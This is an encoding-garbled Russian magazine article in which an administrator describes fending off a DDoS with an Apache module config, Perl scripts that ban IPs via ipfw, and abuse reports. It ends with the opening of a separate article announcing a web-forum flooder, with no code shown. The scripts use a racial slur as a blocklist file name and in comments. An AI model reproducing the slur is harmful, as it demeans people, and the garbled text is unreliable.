[ñòîëêíîâåíèå ñ ïðîáëåìîé] Îäíàæäû, èìåÿ äîñòàòî÷íî êðóïíûé
ðåñóðñ íà ïîïå÷åíèè, ÿ ñòîëêíóëñÿ ñ ñåðüåçíîé ïðîáëåìîé. Êòî-òî çàêà-
çàë ìàñøòàáíóþ DDoS-àòàêó íà ìîé ïðîåêò. Ñèìïòîìû íàïàäåíèÿ áûëè
íàëèöî: ïðè îáðàùåíèè ê web-ñàéòó Àïà÷ äèêî òîðìîçèë è âîçâðàùàë
êîíòåíò ëèøü ÷åðåç äåñÿòü ìèíóò. Ïðè çàõîäå â êîíñîëü äåìîí sshd âî-
îáùå íå îòâå÷àë íà ìîè çàïðîñû. Ñïåðâà ÿ ïîäóìàë, ÷òî ïðîèçîøëà êà-
êàÿ-òî ôèãíÿ íà ñåðâåðå, è ïîïðîñèë ìîé äàòàöåíòð ïåðåçàãðóçèòü ìà-
øèíó (ñàéò ïðîåêòà ðàñïîëàãàëñÿ íà âûäåëåííîì ñåðâåðå â USA). Ïîñ-
ëå âíåïëàíîâîé ïåðåçàãðóçêè ñ ãîðåì ïîïîëàì ìíå âñå-òàêè óäàëîñü
âîéòè â êîíñîëü. ×òî ÿ òàì óâèäåë � íå îïèñàòü ñëîâàìè. Ïðîöåññîð
áûë çàãðóæåí íà 100%, à ïîêàçàòåëü Load Overage äîñòèãàë 160. Ñòîè-
ëî ìíå óáèòü ïðîöåññ httpd, êàê ìàøèíêà îæèëà, è çàãðóçêà ìèãîì ñíè-
çèëàñü äî íóëÿ. Ñòàëî ÿñíî, ÷òî áîòû áîìáÿò çàïðîñàìè WWW-ñåðâèñ.
Ïðîáëåìó íóæíî áûëî êàê-òî ðåøàòü, è òîëüêî òîãäà ÿ ïîíÿë, ÷òî ðàöè-
îíàëüíûõ ìåòîäîâ çàùèòû îò DDoS íå ñóùåñòâóåò.
Ìíîãèå àâòîðû â ñâîèõ ñòàòüÿõ ðåêîìåíäóþò îáðàòèòüñÿ ê ïðîâàéäåðó è
ïîïðîñèòü àäìèíèñòðàöèþ èñïîëüçîâàòü ôàåðâîë íà îïðåäåëåííûå IP-
àäðåñà íà âûøåñòîÿùåì áðàíäìàóýðå. Ýòà èäåÿ õîðîøà òåì, ÷òî þçåðó
âîîáùå íå íóæíî ïàðèòüñÿ íàñ÷åò íàïàäåíèé, îäíàêî ïðèåì ðàáîòàåò íå
âñåãäà. Êîãäà ÿ íàïèñàë àäìèíèñòðàöèè äàòàöåíòðà îá àòàêå, òå ïðîñòî
ïîæàëè ïëå÷àìè è îòâåòèëè, ÷òî íè÷åãî äåëàòü íå ñîáèðàþòñÿ. Ìîë, ó
òåáÿ åñòü ñâîé ôàéðâîë, âîò è îáîðîíÿéñÿ ñàì. Êñòàòè ñêàçàòü, ïîäîá-
íóþ ïîëèòèêó âåäóò ìíîãèå õîñòèíãè è öåíòðû. Ñ âèäó, ñèòóàöèÿ âûãëÿ-
äåëà íåèçáåæíîé, íî íóæíî áûëî ÷òî-òî ïðåäïðèíÿòü, âåäü îñòàâàòüñÿ
áåç äåíåã ÿ òîæå íå õîòåë.

Ìåòîäû çàùèòû 
îò ìàñøòàáíûõ íàïàäåíèé

[ìîäóëüíàÿ çàùèòà] Ñ ãîëîâîé îêóíóâøèñü â èíåò, ÿ ïûòàëñÿ íàéòè
ñðåäñòâî çàùèòû îò DDoS. Êàçàëîñü áû, ïîä ïîòîêîì ëåâûõ çàïðîñîâ íàõî-
äèëñÿ âñåãî îäèí ñåðâèñ, çíà÷èò, ðåøåíèå ïðîáëåìû äîëæíî áûòü ãäå-òî íà
ïîâåðõíîñòè. Íà îäíîì èç ðåñóðñîâ, ÿ îáíàðóæèë ññûëêó íà ìîäóëü äëÿ
Apache ïîä íàçâàíèåì mod_dosevasive. Ïî ñëîâàì ðàçðàáîò÷èêà, äàííûé
ïëàãèí ïîçâîëÿåò çàùèòèòüñÿ îò êðóïíîìàñøòàáíîé àòàêè, åñëè ïîñëåäíÿÿ
íàöåëåíà íà Apache. Ìíå ïðåäñòîÿëî ýòî ïðîâåðèòü. ß ñêà÷àë ñàì ìîäóëü
ïî ññûëêå www.nuclearelephant.com/projects/dosevasive/mod_doseva-
sive_1.10.tar.gz è äîñòàòî÷íî áûñòðî ïîñòàâèë åãî íà ñåðâåð. Îñòàâàëîñü
ëèøü îòêîíôèãóðèðîâàòü httpd.conf è çàáûòü î ïðîáëåìàõ. Ïî êðàéíåé ìå-
ðå, òàê ïèñàëîñü â README ê ìîäóëþ :).
Â êîíôèã Àïà÷à ìíîþ áûëî äîáàâëåíî íåñêîëüêî ñòðîê:

[äîáàâêà â httpd.conf]

<IfModule mod_dosevasive.c>
DOSHashTableSize  3097
DOSPageCount    2
DOSSiteCount    50
DOSPageInterval   1
DOSSiteInterval   1
DOSSystemCommand "echo %s >> /var/log/niggerz"
</IfModule>

Äëÿ áîëüøåãî ïîíèìàíèÿ äàâàé ðàññìîòðèì ïîäðîáíåå âûøåîïèñàííûå
ñòðîêè. Â ïåðâîé ñòðîêå èíèöèàëèçèðóåòñÿ ðàçìåð òàê íàçûâàåìîé õýø-
òàáëèöû, êîòîðàÿ îáðàáàòûâàåò çàïðîñû ê WWW-ñåðâåðó. Çàòåì ðàñïî-
ëàãàþòñÿ ñ÷åò÷èêè çàïðîñîâ ê îäíîé ñòðàíèöå è êî âñåìó ñàéòó. Èíòåð-

Åñòü ëëè ææèçíü ïïîä DDDoS-îîì?
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êîòîðûé çàãîíÿë â áàí âñå àäðåñà, íàêîïèâøèåñÿ â ëèñòå, à çàòåì îáíó-
ëÿë ýòîò ñïèñîê. Âñå âðîäå áû ðàáîòàëî, íî îñîáîãî ýôôåêòà íå äàâà-
ëî. Ñèñòåìà òàêæå òîðìîçèëà, à httpd âîîáùå ïåðåñòàë èíèöèàëèçèðî-
âàòü íîâûå ñîåäèíåíèÿ.

[íå çíàåøü ñàì � ñïðîñè òîâàðèùà] Ïîèñêè êàêèõ-ëèáî ðåøåíèé â Ñå-
òè îêàçàëèñü òùåòíûìè. Íà ôîðóìàõ ïðîáëåìà DDoS ïðàêòè÷åñêè íå îáñóæ-
äàëàñü, à åñëè î íåé è ãîâîðèëè, òî ãîòîâûõ ñîëþøåíîâ íèêòî íå ïðåäëàãàë.
Íè÷åãî íå îñòàâàëîñü, êàê ñïðîñèòü çíàêîìûõ àäìèíîâ ïî ICQ. Îäèí èç íèõ
ïîäåëèëñÿ ñî ìíîé çàìå÷àòåëüíûì ñêðèïòîì, êîòîðûé âïîñëåäñòâèè è íàòî-
ëêíóë ìåíÿ íà ðàçðàáîòêó ñîáñòâåííûõ ìåòîäîâ çàùèòû îò êîâàðíûõ àòàê.
Ñöåíàðèé áûë íàïèñàí íà ÿçûêå Perl è íå îòëè÷àëñÿ îñîáîé ñëîæ-
íîñòüþ. Êàæäóþ ìèíóòó îí âûçûâàëñÿ ïî êðîíó è ïðè çàïóñêå ñìîòðåë
ðåçóëüòàò âûïîëíåíèÿ êîìàíäû netstat -ant|grep ESTABLISHED. Çàòåì
óñòàíàâëèâàëñÿ êàêîé-òî ïðåäåë ñîåäèíåíèé. Åñëè äàííûé ëèìèò áûë
ïðåâûøåí, IP-àäðåñ çàíîñèëñÿ â ÷åðíûé ñïèñîê ôàéðâîëà. Òàêèì îáðà-
çîì, ìîé òîâàðèù íå ðàç çàùèùàëñÿ îò ìàñøòàáíîé àòàêè.
Ïîáëàãîäàðèâ àäìèíà, ÿ ðåøèë óñòàíîâèòü ýòîò ñöåíàðèé â ìîþ ñèñòå-
ìó. Ïîñëå íåáîëüøîé ïåðåäåëêè, ñêðèïò áûë ãîòîâ ê èñïîëüçîâàíèþ è
âûãëÿäåë ïðèìåðíî òàê:

[ïðîñòîé ñêðèïò äëÿ çàùèòû îò DDoS]

#!/usr/bin/perl
@output=`netstat -ant|grep ESTABLISHED|awk '{print(\$4,\$5)}'`;
$arg=$ARGV[0];
foreach $line (@output) {
chomp($line);
$line=~/(.*\..*\..*\..*)\..* (.*\..*\..*\..*)\..*/;
$devs{'63.33.33.33'}="sis0";
$src{$2}=$devs{$1};
$ips{$2}=$ips{$2}+1;
}
foreach $ip (sort keys %ips) {
if ($src{$ip}) {
if ($arg eq '0') { print "($src{$ip}) $ip => $ips{$ip}\n"; }
if ($ips{$ip} > 7) {
chomp($date=`date +'%d.%m.%y %H:%M:%S'`);
open(f, ">>/var/log/attack.log");
print f "$date -> attack/scan from $ip [$ips{$ip}]\n";
close f;
system("/sbin/ipfw -q add 13 deny ip from $ip to me");
}}}

âàë îáðàùåíèÿ ïî óìîë÷àíèþ ðà-
âåí îäíîé ñåêóíäå � ýòî âèäíî èç
ïîñëåäóþùèõ äèðåêòèâ. Òàêèì îá-
ðàçîì, åñëè êòî-òî îáðàòèëñÿ ê îä-
íîé ñòðàíèöå òðèæäû çà îäíó ñå-
êóíäó, IP-àäðåñ íåïðèÿòåëÿ áóäåò
çàáëîêèðîâàí. Òîò æå ñàìûé ðå-
çóëüòàò ïðîèçîéäåò â ñëó÷àå ìíî-
ãîêðàòíîãî îáðàùåíèÿ (50 ïîïûòîê
â ñåêóíäó) ê ëþáîé ñòðàíèöå ñàéòà.
Îäíàêî ïî óìîë÷àíèþ ìîäóëü
ïðîñòî âîçâðàùàåò îøèáêó 403
ïîñëå áëîêèðîâêè. Äàæå â ýòîì
ñëó÷àå ïðè ìàñøòàáíîé àòàêå íàã-
ðóçêà íà ñåðâåð ìîæåò áûòü î÷åíü
áîëüøîé. ×òîáû èçáåæàòü ïîäîá-
íîãî, ÿ íàñòðîèë ìîäóëü íà ïðîñ-
òîå äîáàâëåíèå àäðåñà â áëýê-ëèñò
/var/log/niggerz ñ ïîñëåäóþùåé îá-
ðàáîòêîé ýòîãî ôàéëà ñïåöèàëü-
íûì ñêðèïòîì. Ñëåäîâàëî ó÷èòûâàòü, ÷òî îïåðàöèÿ çàïèñè ïðîèñõîäèò ñ
ïðàâàìè nobody, ïîýòîìó íåîáõîäèìî óñòàíîâèòü àòðèáóò 666 íà ôàéë.
Èòàê, ñèñòåìà áûëà íàñòðîåíà, è îñòàâàëîñü ëèøü çàïóñòèòü httpd. Êàê
è îæèäàëîñü, ïîñëå ñòàðòà â ñïèñêå çëîáíûõ íèããåðîâ ñòàëè ïîÿâëÿòüñÿ
ïåðâûå IP-àäðåñà. Íî ïî÷åìó-òî òàì èõ áûëî íå òàê ìíîãî, êàê ÿ ïðåäïî-
ëàãàë. Êàæäóþ ìèíóòó ÷åðåç crontab çàïóñêàëñÿ ñïåöèàëüíûé ñêðèïò,

ÏÎÕÎÆÈÅ ÔÔÀÉÐÂÎËÛ
Åñëè òû ñ÷àñòëèâûé îáëàäàòåëü Linux, òî ïåðåäåëàòü
ñêðèïòû íå ñîñòàâèò îñîáîãî òðóäà. Ñëåäóåò ëèøü âìåñòî
ipfw èñïîëüçîâàòü ôàéðâîë iptables. Îäíàêî íóæíî ïîì-
íèòü, ÷òî ñëîâî setup, êîòîðîå îòâå÷àåò çà òèï ESTAB-
LISHED-ñîåäèíåíèÿ, äîëæíî áûòü çàìåíåíî íà êîíñòðóê-
öèþ -m state --state ESTABLISHED.
Ñëåäóåò òàêæå âíåäðèòü ìåõàíèçì ñîõðàíåíèÿ ïðàâèë
ïîñëå ïåðåçàãðóçêè. Çäåñü ñóùåñòâóåò äâà âàðèàíòà �
ëèáî ïîëüçîâàòüñÿ ñåðâèñíûìè êîìàíäàìè (íàïîäîáèå,
/sbin/service iptables save), ëèáî çàíîñèòü ïðàâèëî â ñïè-
ñîê âðó÷íóþ. Ïðè ïîñëåäíåì ïðèåìå íå çàáûâàé, ÷òî
ñïèñîê ïðàâèë iptables îáû÷íî õðàíèòñÿ 
â /etc/sysconfig/iptables.

×òîáû âêëþ÷èòü ôàéðâîë,
íåîáõîäèìî âûïîëíèòü êî-
ìàíäó sysctl -w
net.inet.ip.fw.enable=1. Íî
íå çàáûâàé, ÷òî âî FreeBSD
ïîëèòèêîé ïî óìîë÷àíèþ
ÿâëÿåòñÿ Deny, ïîýòîìó ïå-
ðåä àêòèâàöèåé ôàéðâîëà
íóæíî äîáàâèòü ïðàâèëî
ipfw add 65000 allow ip
from any to any.

Íà íàøåì çàìå÷àòåëüíîì
äèñêå òû êàê âñåãäà íàé-
äåøü âñå èñõîäíèêè
ñêðèïòîâ, êîòîðûå áûëè
îïèñàíû â ýòîé ñòàòüå, à
òàêæå óïîìÿíóòûé ìîäóëü
äëÿ Àïà÷à.
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Äóìàþ, â ýòîì êîäå òû ñìîæåøü ðàçîáðàòüñÿ è
áåç äîïîëíèòåëüíûõ êîììåíòàðèåâ. Òåì áîëåå,
÷òî ðàáîòó ñöåíàðèÿ ÿ óæå îïèñàë. Ëèìèò ñîå-
äèíåíèé â ìîåì ñëó÷àå áûë ðàâíûì ñåìåðêå.
Ïîìèìî îñíîâíîé ôóíêöèè, ñêðèïò âûâîäèò
ñòàòèñòèêó ñîåäèíåíèé, ÷òîáû àäìèíèñòðàòîð
çíàë, êòî â äàííûé ìîìåíò åãî àòàêóåò :).

[èçó÷àåì æóðíàëû] Íî è ýòîò ïðèåì íå äàë
ñòîïðîöåíòíîé çàùèòû îò àòàêè. ×åðåç ïàðó ÷à-
ñîâ ïîêàçàòåëü íàãðóçêè ðåàëüíî ñíèçèëñÿ íà
40%, ïà÷ ïåðåñòàë òîðìîçèòü, íî âñå ðàâíî
÷óâñòâîâàëîñü, ÷òî àòàêà ïðîäîëæàåòñÿ. Ïðè÷åì,
íàäî îòìåòèòü, ÷òî ñòàíäàðòíûé ôàéðâîë óñïåø-
íî ñïðàâëÿëñÿ ñ íàòèñêîì íåïðèÿòåëÿ, ïðîñòî ñó-
ùåñòâîâàëè êàêèå-òî ñïåöèàëüíûå áîòû, êîòî-
ðûì óäàâàëîñü îáõîäèòü õèòðîóìíûé ñêðèïò.
È ÿ îáíàðóæèë ýòèõ áîòîâ âñåãî çà íåñêîëüêî
ìèíóò :). Äëÿ ýòîãî ìíå ïðèøëîñü âêëþ÷èòü îï-
öèþ verbose â ìîåì ôàéðâîëå ipfw. Ýòî äåëàåò-
ñÿ ïðîñòîé êîìàíäîé sysctl -w net.inet.ip.fw.ver-
bose=1. Çàòåì ÿ ñîçäàë íåáîëüøîå ïðàâèëî, îá-
ðàáàòûâàþùåå âñå ïàêåòû. Äàííûé ðóëåñ äîë-
æåí îïåðåæàòü ïî íîìåðó ïðàâèëî, êîòîðîå çàï-

ðåùàåò âåñü òðàôèê íà ìàøèíó. ß âûáðàë â êà÷åñòâå èäåíòèôèêàòîðà
÷èñëî 50000. Ñàìà êîìàíäà äîáàâëåíèÿ âûãëÿäåëà ñëåäóþùèì îáðàçîì:

ipfw add 50000 count log logamount 0 ip from any to me 80

Òåïåðü ìîæíî áûëî ïðèñòóïèòü ê àíàëèçó ôàéëà /var/log/security. Òóäà
ïî óìîë÷àíèþ, ñòàëè çàïèñûâàòüñÿ âñå îáðàùåíèÿ ê ñåðâåðó íà 80 ïîðò.
Íåìíîãî ïåðåäåëàâ âûøåîïèñàííûé ñöåíàðèé, ÿ ñòàë ïåðå÷èòûâàòü
ôèêñèðîâàííûé ôðàãìåíò ëîãà (êîìàíäîé tail -1000 /var/log/security) è
áðàòü îòòóäà ÷èñëî îáðàùåíèé. Ðåçóëüòàò íå çàñòàâèë ñåáÿ äîëãî æäàòü
� âñåãî ïîñëå 2-3 çàïóñêîâ íàãðóçêà íà ñåðâåð âíîâü óïàëà.
Íî ïîäîáíûì ìåòîäîì íåëüçÿ áûëî çàùèòèòüñÿ íà âñå 100%, ïîòîìó êàê
çà âðåìÿ ñâîåé ðàáîòû ñêðèïò óæå óñïåë çàáàíèòü 20�30 ëåãàëüíûõ ïî-
ñåòèòåëåé ðåñóðñà :). Ýòî îáúÿñíÿåòñÿ òåì, ÷òî îáû÷íûé ïîëüçîâàòåëü
ïðè îïðåäåëåííûõ óñëîâèÿõ âïîëíå ìîæåò ïðåâûñèòü ìîé ëèìèò îáðà-
ùåíèé (ïðè îáíîâëåíèè ñòðàíèöû èëè ïðè ñëàáîì êàíàëå).
Âûøåîïèñàííîé çàùèòîé ÿ ïîëüçîâàëñÿ òðè äíÿ. Çà ýòî âðåìÿ, êàê ÿ óæå ãî-
âîðèë, â áàíå ôàéðâîëà íàêîïèëîñü ïîðÿäêà ñîòíè äîáðîïîðÿäî÷íûõ ïîëü-
çîâàòåëåé. Çàïóñêàòü ñöåíàðèé ïðèõîäèëîñü òðè-÷åòûðå ðàçà â äåíü. Ïîäîá-
íàÿ çàùèòà, íåñîìíåííî, äåéñòâîâàëà, íî äîâåðÿòü åé íà âñå ñòî ïðîöåíòîâ
áûëî íåëüçÿ. Ïîýòîìó ÿ ðåøèë ðàçðàáîòàòü íîâûé âàðèàíò ïðîòåêòà ïðîòèâ
DDoS-àòàêè. Â ýòîì ìíå î÷åíü ïîìîãëà ñèñòåìà æóðíàëèðîâàíèÿ Apache.
Ìíå çàõîòåëîñü ïîñìîòðåòü íà çàïðîñû, êîòîðûå áîòû ïîñûëàþò WWW-
ñåðâåðó. Êàê îêàçàëîñü ïðàêòè÷åñêè âñå ðåêâåñòû áûëè îäèíàêîâûìè è íå-
îòëè÷èìûìè îò ïîëüçîâàòåëüñêèõ. Íà ïåðâûé âçãëÿä â çàïðîñå ôèãóðèðî-
âàë Referer, ïðàâèëüíî îôîðìëåííîå îáðàùåíèå íà ðàíäîìíóþ, íî ñóùåñò-
âóþùóþ ñòðàíèöó, è ðåàëüíûé UserAgent. Îäíàêî ïîñëåäíåå ïîëå çàñòàâè-
ëî ìåíÿ óñîìíèòüñÿ â ïðàâèëüíîñòè çàïðîñà. Â áîëüøèíñòâå çàëîãèðîâàí-
íûõ ñòðîê, UserAgent èìåë ïðåôèêñ Win 98.x. Âèäèìî, ýòî è áûëà åäèí-
ñòâåííàÿ îòëè÷èòåëüíàÿ ÷åðòà îáû÷íûõ ðåêâåñòîâ îò âðàæåñêèõ. Â ìîåé ãî-
ëîâå óæå ðîäèëñÿ ïëàí íîâîé çàùèòû ñåðâåðà îò áîòîâ. È óæå ÷åðåç 15 ìè-
íóò ÿ åãî ðåàëèçîâàë â âèäå êîìïàêòíîãî Perl-ñöåíàðèÿ. Ãðåõ íå ïðèâåñòè
åãî èñõîäíûé êîä, ïîòîìó êàê ìíîãèì àäìèíèñòðàòîðàì îí ïðèãîäèòñÿ.

[perl-ñêðèïò, ñïàñàþùèé îò DDoS]

#!/usr/bin/perl
$num=`cat /var/log/rule`; # Â ýòîì ôàéëå õðàíèòñÿ íîìåð ïðàâèëà
chomp $num;
$cmd='tail -1000 /usr/local/apache/logs/access.log|grep Win 9x 4.|cut -f1
-d |sort -u'; # Âûãðåáàåì ïîñëåäíèå 1000 çàïèñåé ñ øàáëîíîì, âûðå-
çàåì èç íåå IP-àäðåñ è óáèâàåì äóáëèêàòû
@cmd=`$cmd`;
chomp @cmd;
foreach $each (@cmd) {
chomp $each;
$rule=0;
chomp $rule;
open(DB,"/var/log/niggerz");
while(<DB>) {
if (/$each/) { $rule=1; break } # Åñëè àäðåñ óæå åñòü â áàçå � çàâåðøàåì ðàáîòó
}
close(DB);

unless ($rule) {
system("/sbin/ipfw add $num deny ip from $each to me 80"); # Â ïðîòèâ-
íîì ñëó÷àå � çàíîñèì IP â áëýê-ëèñò
open(LOG,">>/var/log/dos.log");
print LOG "banned ip $each as rules $num\n";
close(LOG);
open(DB,">>/var/log/niggerz");
print DB "$each\n"; # È äîáàâëÿåì çàïèñü â ëîã è â áàçó íèããåðîâ :).
close(DB);
$num++;
}}
`echo $num > /var/log/rule`; # Îáíîâëÿåì íîìåð ïðàâèëà

Ýòîò ñöåíàðèé ïàðñèò æóðíàë íà ïðåäìåò îòëè÷èòåëüíûõ çàïðîñîâ, âûäåëÿ-
åò èç íèõ ip-àäðåñ, à çàòåì èùåò àíàëîãè÷íûé àéïèøíèê â ñïåöèàëüíîé áà-
çå. Åñëè àäðåñ íå íàéäåí, çíà÷èò, åãî íåò â ïðàâèëàõ ipfw, ñëåäîâàòåëüíî, îí
òàì íåçàìåäëèòåëüíî ïîÿâëÿåòñÿ :). Â ïðîòèâíîì ñëó÷àå, ip áîòà óæå áûë çà-
áàíåí, ïîýòîìó ñöåíàðèé íå çàñîðÿåò ôàéðâîë ïîâòîðíûì ïðàâèëîì.
Ñêðèïò antiddos.pl çàïóñêàåòñÿ ÷åðåç crontab êàæäóþ ìèíóòó. Ýòîãî âïîëíå
õâàòàåò, ÷òîáû îòðàçèòü àòàêó 2�3 òûñÿ÷ áîòîâ, êàê áûëî â ìîåì ñëó÷àå. Åäèí-
ñòâåííûé ìèíóñ â ðàáîòå ñöåíàðèÿ çàêëþ÷àåòñÿ â òîì, ÷òî îí íå ìîæåò áûñò-
ðî âîññòàíîâèòü ðàáîòîñïîñîáíîñòü ñåðâåðà. Èíûìè ñëîâàìè, ïðè èçëèøíå
àêòèâíîé àòàêå (20�30 çàïðîñîâ â îäèí ìîìåíò âðåìåíè), ñåðâåð âñå ðàâíî
óõîäèò â àíàáèîçíîå ñîñòîÿíèå, íî âîçâðàùàåòñÿ èç íåãî ÷åðåç 3�4 ìèíóòû :).

[àäìèí ñïèò, àòàêà èäåò] Åñëè òû äóìàåøü, ÷òî ÿ ïîñòàâèë ñöåíàðèé
è çàáûë î áîòàõ, òî îøèáàåøüñÿ :). Íåñìîòðÿ íà òî, ÷òî çà òðàôèê ÿ íå
ïëàòèë (à áîòû íàãîíÿëè â äåíü îêîëî 500 ìåãàáàéò ìóñîðà), ÿ çàõîòåë
ñïðàâåäëèâîñòè. Ïîýòîìó ìîåé çàäà÷åé áûëî îòïèñàòü â abuse âñåì net-
work-àäìèíèñòðàòîðàì òåõ ñåòåé, íà êîòîðûõ êðóòèëèñü áîòû, òåì ñàìûì
ðàçðóøèâ áîòíåò. Â òå÷åíèå ÷àñà ñ ïîìîùüþ êîìàíäû whois, bash-åâûõ
ñðåäñòâ àâòîìàòèçàöèè è êàêîé-òî ìàòåðè :), ÿ ñîáðàë ïî÷òîâûå àäðåñà
íà 90% áîòîâ. Ìîÿ çàäà÷à óïðîùàëàñü òåì, ÷òî â áîëüøèíñòâå ñëó÷àÿõ
àòàêà âåëàñü èç îäíîé ïîäñåòè. Òàêèì îáðàçîì, ìíå ïîíàäîáèëîñü íàïè-
ñàòü âñåãî 400 æàëîá, ÷òîáû ñîîáùèòü îáî âñåõ óÿçâèìûõ ìàøèíàõ. Çà-
äà÷à áûëà âûïîëíåíà âñåãî çà òðè ÷àñà, è óæå ÷åðåç äåíü ÿ ïîëó÷èë äîá-
ðóþ ïîëîâèíó îòâåòîâ îò àäìèíîâ, êîòîðûå îáåùàëè îáåçâðåäèòü çàðàç-
íóþ ìàøèíó. Âñåãî ÷åðåç íåäåëþ ïîòîê ôëóäà íà ìîé ñåðâåð ïîëíîñòüþ
ïðåêðàòèëñÿ. Âèäèìî, áîòìàñòåð ïîíÿë, ÷òî ñî ìíîé îïàñíî èìåòü äåëî,
èëè çàêàç÷èê ôëóäà ïåðåñòàë ïëàòèòü äåíüãè çà àòàêó. Â ëþáîì ñëó÷àå,
ÿ îäåðæàë ïîáåäó íàä çëîäåÿìè, ÷åìó äî ñèõ ïîð î÷åíü ðàä.
Ìîðàëü áàñíè òàêîâà: äàæå åñëè òåáÿ àòàêóþò íåñêîëüêî òûñÿ÷ áîòîâ, à
âûøåñòîÿùèé ïðîâàéäåð îòêàçûâàåòñÿ ïîìîãàòü, äåéñòâóé ñàìîñòîÿ-
òåëüíî. Â ñòàòüå ÿ ïðèâåë íåñêîëüêî ãîòîâûõ ðåøåíèé ïî çàùèòå îò ñà-
ìûõ îïàñíûõ àòàê, òâîÿ çàäà÷à � âûáðàòü îïòèìàëüíûé âàðèàíò. Åñëè
òû ïëàòèøü çà òðàôèê è íå îäèí âàðèàíò òåáÿ íå óñòðàèâàåò, ïîïðîáóé
ñìåíèòü äàòàöåíòð íà áîëåå äðóæåëþáíûé, ãäå çàáîòÿòñÿ î êàæäîì êëè-
åíòå, èëè õîòÿ áû íå áåðóò äåíüãè çà òðàôèê :)
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ÿäåðíûå íàñòðîéêè
ôàéðâîëà

ñîáèðàåì ïî÷òîâûå
àäðåñà

ÊÎÌÏÅÒÅÍÒÍÎÅ ÌÌÍÅÍÈÅ
Áîëüøèíñòâî DDoS-àòàê áàçèðóåòñÿ íà îñîáåííîñòÿõ ðà-
áîòû ïðîòîêîëà TCP/IP, â ÷àñòíîñòè, íà ñïîñîáå îáðàáîòêè
âõîäÿùèõ ïàêåòîâ ñ ôëàãîì SYN. Ýòè àòàêè äîñòàòî÷íî
ñëîæíî ïðåäîòâðàòèòü, îñîáåííî, åñëè ñèñòåìà ïîäðàçó-
ìåâàåò îáùåäîñòóïíûå âõîäÿùèå ñîåäèíåíèÿ. Òàêæå îñ-
ëîæíÿåò áîðüáó ñ òàêèìè àòàêàìè òîò ôàêò, ÷òî îíè, êàê
ïðàâèëî, ïðîâîäÿòñÿ ñî ìíîæåñòâà àäðåñîâ, çà÷àñòóþ íà-
õîäÿùèõñÿ â ðàçíûõ ñåãìåíòàõ Ñåòè è ïðèíàäëåæàùèõ
ðàçíûì îïåðàòîðàì ñâÿçè. Ïîýòîìó êàêîãî-òî ñòîïðîöåíò-
íîãî ñïîñîáà áîðüáû ñ íàïàäåíèÿìè ïîïðîñòó íå ñóùåñò-
âóåò. Íà äàííûé ìîìåíò ñàìîå äåéñòâåííîå ñðåäñòâî
áîðüáû ñ ýòèì òèïîì àòàê � ýòî êîíòðîëü ñî ñòîðîíû îïå-
ðàòîðà ñâÿçè, êîòîðûé äîëæåí îáåñïå÷èâàòü èõ áûñòðîå
îáíàðóæåíèå è áëîêèðîâàíèå ýòîãî òðàôèêà íà âõîäå â
ñâîé ñåãìåíò ñåòè. Îïåðàòîðû ñâÿçè ïûòàþòñÿ ïðåäîòâðà-
ùàòü ïîäîáíûå àòàêè ïóòåì óñòàíîâêè ôèëüòðîâ, êîòîðûå
îòñåêàþò òàêîé òðàôèê â àâòîìàòè÷åñêîì ðåæèìå. Îñî-
áåííî ýòà ïðàêòèêà ðàñïðîñòðàíåíà ó çàðóáåæíûõ îïåðà-
òîðîâ ñâÿçè. Ïðè÷åì çà÷àñòóþ îò äåéñòâèÿ òàêèõ ôèëüò-
ðîâ ñòðàäàþò îáû÷íûå ïîëüçîâàòåëè, òàê êàê äîñòàòî÷íî
ñëîæíî îòëè÷èòü òðàôèê DDoS-àòàêè îò íåêîåãî ïðèëîæå-
íèÿ, óñòàíàâëèâàþùåãî îäíîâðåìåííî íåñêîëüêî ñîåäèíå-
íèé ñ êàêèì-ëèáî óçëîì. Êðàñíîâ Àëåêñåé. Ñèñòåìíûé àä-
ìèíèñòðàòîð êîìïàíèè Ìåäèàòåë (www.mediatel.ru)





ÍÅÎÒÚÅÌËÅÌÎÉ ×ÀÑÒÜÞ «ÇÀÙÈÒÛ ÈÍÔÎÐÌÀÖÈÈ»
ßÂËßÅÒÑß ÇÀÙÈÒÀ WEB-ÊÎÍÒÅÍÒÀ. ÏÎÝÒÎÌÓ ÂÅÁ-
ÌÀÑÒÅÐÛ ÄÎËÆÍÛ ÍÅ ÒÎËÜÊÎ ÓÌÅÒÜ ÃÐÀÌÎÒÍÎ 
ÓÏÐÀÂËßÒÜ ÑÀÉÒÎÌ, ÍÎ È ÓÌÅÒÜ ÅÃÎ ÇÀÙÈÙÀÒÜ ÎÒ
ÐÀÇÍÎÉ ÍÅ×ÈÑÒÈ, ÂÐÎÄÅ ÑÊÐÈÏÒÈÄÄÈÑÎÂ È ÔËÓÄÅ-
ÐÎÂ, ÊÎÒÎÐÛÕ ÑÅÉ×ÀÑ ÐÀÇÂÅËÎÑÜ ÏÎËÍÛÌ ÏÎËÍÎ
Â ÑÅÒÈ. ÑÅÃÎÄÍß ÌÛ ÏÎÁÓÄÅÌ Â ÐÎËÈ ÏËÎÕÈÕ ÏÀÐ-
ÍÅÉ. ÂÌÅÑÒÅ ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÎÑÍÎÂÛ ÏÐÎÖÅÑÑÀ
ÇÀÔËÓÆÈÂÀÍÈß WEB-ÏÐÈËÎÆÅÍÈÉ. ÓÇÍÀÅÌ ÒÎÍ-
ÊÎÑÒÈ ÀÂÒÎÌÀÒÈÇÀÖÈÈ «ÍÀÂÎÄÍÅÍÈß» ÍÀ ÏÐÈÌÅÐÅ
ÑÀÌÎÏÀËÜÍÎÃÎ ÔÎÐÓÌÍÎÃÎ ÄÂÈÆÊÀ È ÍÀÏÈØÅÌ
ÄËß ÍÅÃÎ ÑÂÎÉ ÏÎËÍÎÔÓÍÊÖÈÎÍÀËÜÍÛÉ ÔËÓÄÅÐ.
ÈÒÀÊ, ÏÐÈÑÒÓÏÈÌ! | Àëåêñàíäð Ëþáèìîâ aka Sashiks ( real_sshx@mail.ru )

[ïåðâûå øàãè] Äàâàé äëÿ íà÷àëà ðàçáåðåìñÿ, êàê ðàáîòàåò, ê ïðèìåðó, ýëå-
ìåíòàðíàÿ ãîñòåâàÿ êíèãà. ×òîáû íå ãîâîðèòü ñëèøêîì àáñòðàêòíî, ÿ ðàññìîò-
ðþ ñòàíäàðòíûé ïðîòîòèï ãîñòåâóõè, êîòîðûé ñîñòîèò èç ñëåäóþùèõ ÷àñòåé:

1 Ñêðèïò äëÿ îòîáðàæåíèÿ ñîîáùåíèé (gb/index.php)

2 Ôîðìà äëÿ îòïðàâëåíèÿ ñîîáùåíèé â êíèãó  (gb/from.html)

3 Ñêðèïò äëÿ çàïèñè íîâîãî ñîîáùåíèÿ â ãîñòåâóþ  (gb/script.php)
